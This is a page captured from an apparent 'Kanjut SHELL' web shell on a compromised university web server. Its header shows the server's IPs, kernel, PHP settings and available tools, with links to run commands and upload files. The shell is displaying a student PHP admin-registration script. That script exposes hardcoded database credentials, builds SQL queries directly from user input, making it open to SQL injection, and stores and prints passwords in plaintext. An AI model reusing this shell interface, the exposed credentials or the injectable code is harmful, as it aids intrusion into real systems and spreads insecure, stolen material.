Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.19.205
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/rlbarner/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/rlbarner/www/adminaddaction.php
<?php   session_start();
        $username = $_SESSION['username'];
        $_SESSION['username'] = $username;
        $password = $_SESSION['password'];
        $_SESSION['password'] = $password;

        $host = 'localhost';
        $user = 'rlbarner';
        $passwd = 'cs480';
        $database = 'rlbarner';
        $connect = mysql_connect($host, $user, $passwd);
        $table_name = 'CYOAUsers';

        $query = "SELECT * FROM $table_name WHERE Username = '$username' && Password = '$password'";
        mysql_select_db($database);
        $result = mysql_query($query, $connect);

        if(($result) && (mysql_num_rows($result) > 0))
        {       // success; page underneath
?>

<TITLE>CYOA Admin Add Account Results</TITLE>
<HEAD><link rel="stylesheet" type="text/css" href="advstyle.css"></HEAD>

<BODY>
<H2>Admin Registration Results</H2>
<HR>

<?php
	$name = $_POST['name'];
	$gender = $_POST['gender'];
	$usern = $_POST['username'];
	$password = $_POST['password'];
	$secQ = $_POST['secQ'];
	$secAns = $_POST['secAns'];

	$host = 'localhost';
	$user = 'rlbarner';
	$passwd = 'cs480';
	$database = 'rlbarner';
	$connect = mysql_connect($host, $user, $passwd);

	$table_name = 'CYOAUsers';
	mysql_select_db($database);	

	$checkquery = "SELECT Username FROM $table_name WHERE Username = '$usern'";
	$results = mysql_query($checkquery, $connect);

	if(($results) && (mysql_num_rows($results) > 0))
	{	print "<FONT SIZE=4 COLOR=RED>The username you entered already exists.  Please choose a different username.<BR>";
		print "This page will redirect to the registration form in 3 seconds.  If you are not automatically redirected, <A HREF=cyoaregistration.html>Click Here</A>.";
		print '<META HTTP-EQUIV="Refresh" Content="3; URL=cyoaregistration.html">';	
	}	
	else
	{	$regquery = "INSERT INTO $table_name VALUES (0, '$name', '$gender', '$usern', '$password', '$secQ', '$secAns', 0, 0, 0)";

		if(mysql_query($regquery, $connect))
		{	print "<FONT SIZE=4 COLOR=GREEN>Registration successful!</FONT><BR><BR>";
			print "Here is what you entered <I>(please print this page for safekeeping)</I>:<BR><BR>";			
			print "Name: $name<BR>";
			print "Gender: $gender<BR>";
			print "Username: $usern<BR>";
			print "Password: $password<BR>";
			if($secQ == 1)
				print "Chosen Security Question: What is your favourite pet's name?<BR>";
			else if($secQ == 2)
	                	print "Chosen Security Question: What is your mother's maiden name?<BR>";
			else if($secQ == 3)
                        	print "Chosen Security Question: What city were you born in?<BR>";
			else if($secQ == 4)
                        	print "Chosen Security Question: What was your favourite book when you were a child?<BR>";
			else if($secQ == 5)
			        print "Chosen Security Question: What was the name of your high school?<BR>";
			else if($secQ == 6)
        	                print "Chosen Security Question: What is your favourite food?<BR>";
			else if($secQ == 7)
                        	print "Chosen Security Question: What is your nickname?<BR>";
			else
				print "Error in processing your security question.<BR>";
			print "Security Answer: $secAns<BR>";
		}
		else
		{	print "<FONT SIZE=4 COLOR=RED>Registration failed!<BR>";
			print "This page will now redirect you back to the registration form in three seconds.<BR>";
			print "If you are not redirected, <A HREF=cyoaregistration.html>Click Here</A>.</FONT>";
			print '<META HTTP-EQUIV="Refresh" Content="3; URL=cyoaregistration.html">';
		}
	}
?>

<?php
        print "<BR><BR>Logged in as $username  <A HREF=cyoalogout.php>Logout</A>";
        }
        else
        {       // fail message
                print '<META HTTP-EQUIV="Refresh" Content="3; URL=cyoalogin.html">';
                print "<FONT SIZE=4 COLOR=RED><B>Error!</B> Username/password does not match any records.</FONT><BR>";
                print "You will now be redirected to the CYOA login page in 3 seconds.<BR>";
                print "If you are <B>not</B> redirected, <A HREF=cyoalogin.html>Click Here</A>.";
        }
?>


</BODY>
<HR>

<FONT SIZE=2><I>Navigation:</I>
<BR>
<A HREF=adminhubloginb.php>Admin Hub</A>
<BR>
<A HREF=cyoafrontpage.php>Return to the CYOA Front Page</A>

Stv3n404 - 2023